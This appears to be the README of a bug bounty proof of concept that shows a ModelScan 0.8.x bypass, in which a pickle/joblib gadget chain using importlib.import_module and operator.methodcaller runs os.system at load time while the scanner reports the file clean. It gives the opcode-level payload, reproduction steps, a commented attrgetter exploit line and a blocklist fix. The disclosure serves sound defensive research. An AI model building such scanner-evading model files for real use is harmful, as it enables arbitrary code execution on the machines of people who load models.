| # ModelScan 0.8.x ACE Bypass — operator.methodcaller + importlib Gadget Chain |
|
|
| ## Summary |
|
|
| This repository contains proof-of-concept files demonstrating a bypass of ModelScan 0.8.x |
| (latest) for the Protect AI / huntr.com Model Format Vulnerability bug bounty program. |
|
|
| The `.pkl` and `.joblib` files in this repo execute arbitrary commands at deserialization |
| time while passing ModelScan's scan as "No issues found." |
|
|
| ## Vulnerability |
|
|
| **Affected scanner:** ModelScan 0.8.8 |
| **Affected file types:** .pkl .pickle .joblib .dill .dat .data |
| **Impact:** Arbitrary Code Execution at model-load time, scanner bypass |
|
|
| ModelScan's `unsafe_globals` blocklist explicitly blocks `operator.attrgetter` with a |
| comment documenting the operator gadget pattern, but omits `operator.methodcaller`, |
| which achieves equivalent method invocation on runtime objects. The `importlib` module |
| is entirely absent from the blocklist. |
|
|
| ## Gadget Chain |
|
|
| ``` |
| importlib.import_module("os") <- not in ModelScan blocklist |
| operator.methodcaller("system", CMD) <- not in ModelScan blocklist |
| (only attrgetter is blocked) |
| ``` |
|
|
| Execution: |
| ``` |
| operator.methodcaller("system", CMD)(importlib.import_module("os")) |
| = os.system(CMD) |
| ``` |
|
|
| ## Globals extracted by ModelScan |
|
|
| ```python |
| {('importlib', 'import_module'), ('operator', 'methodcaller')} |
| ``` |
|
|
| Neither is in `unsafe_globals`. ModelScan reports CLEAN. |
|
|
| ## Reproduction |
|
|
| ### Requirements |
|
|
| ``` |
| pip install modelscan joblib |
| ``` |
|
|
| ### Step 1 - Verify execution |
|
|
| ```python |
| import pickle |
| |
| with open("poc_modelscan_bypass.pkl", "rb") as f: |
| data = f.read() |
| |
| # This executes os.system("id > /tmp/ml_pwned") immediately |
| pickle.loads(data) |
| |
| import os |
| assert os.path.exists("/tmp/ml_pwned") |
| print("ACE confirmed:", open("/tmp/ml_pwned").read()) |
| ``` |
|
|
| ### Step 2 - Verify ModelScan bypass |
|
|
| ``` |
| modelscan -p poc_modelscan_bypass.pkl |
| ``` |
|
|
| Expected output: |
| ``` |
| No issues found! |
| ``` |
|
|
| ### Step 3 - Verify joblib.load() also triggers |
|
|
| ```python |
| import joblib |
| joblib.load("poc_modelscan_bypass.joblib") |
| # Same RCE fires |
| ``` |
|
|
| ## Pickle Bytecode (protocol 4) |
|
|
| ``` |
| PROTO 4 |
| FRAME 107 |
| SHORT_BINUNICODE 'importlib' MEMOIZE (as 0) |
| SHORT_BINUNICODE 'import_module' MEMOIZE (as 1) |
| STACK_GLOBAL MEMOIZE (as 2) <- importlib.import_module |
| SHORT_BINUNICODE 'os' MEMOIZE (as 3) |
| TUPLE1 MEMOIZE (as 4) |
| REDUCE MEMOIZE (as 5) <- os module |
| POP |
| SHORT_BINUNICODE 'operator' MEMOIZE (as 6) |
| SHORT_BINUNICODE 'methodcaller' MEMOIZE (as 7) |
| STACK_GLOBAL MEMOIZE (as 8) <- operator.methodcaller |
| SHORT_BINUNICODE 'system' MEMOIZE (as 9) |
| SHORT_BINUNICODE 'id > ...' MEMOIZE (as 10) |
| TUPLE2 MEMOIZE (as 11) |
| REDUCE MEMOIZE (as 12) <- methodcaller("system", cmd) |
| BINGET 5 <- retrieve os module |
| TUPLE1 |
| REDUCE <- os.system(cmd) -> RCE |
| STOP |
| ``` |
|
|
| ## Root Cause |
|
|
| `modelscan/settings.py` line in `unsafe_globals`: |
|
|
| ```python |
| # Current (vulnerable) |
| "operator": [ |
| "attrgetter", # Ex of code execution: operator.attrgetter("system")(__import__("os"))("echo pwned") |
| ], |
| ``` |
|
|
| The developer documented the operator gadget pattern but only blocked `attrgetter`. |
| `methodcaller` achieves the same result through method dispatch on runtime objects. |
|
|
| ## Fix |
|
|
| ```python |
| # Fixed |
| "operator": ["attrgetter", "methodcaller", "itemgetter"], |
| "importlib": "*", |
| ``` |
|
|
| ## Files |
|
|
| | File | Description | |
| |------|-------------| |
| | poc_modelscan_bypass.pkl | Malicious pickle — passes ModelScan, executes os.system() | |
| | poc_modelscan_bypass.joblib | Same payload, .joblib extension | |
| | poc_modelscan_bypass.py | Python script that generates and verifies the PoC | |
|
|
| ## Ethical Use |
|
|
| This PoC uses a benign indicator (`id > /tmp/ml_pwned`) to demonstrate code execution. |
| It is submitted exclusively through the official Protect AI / huntr.com bug bounty program. |
| Do not use against systems you do not own. |
|
|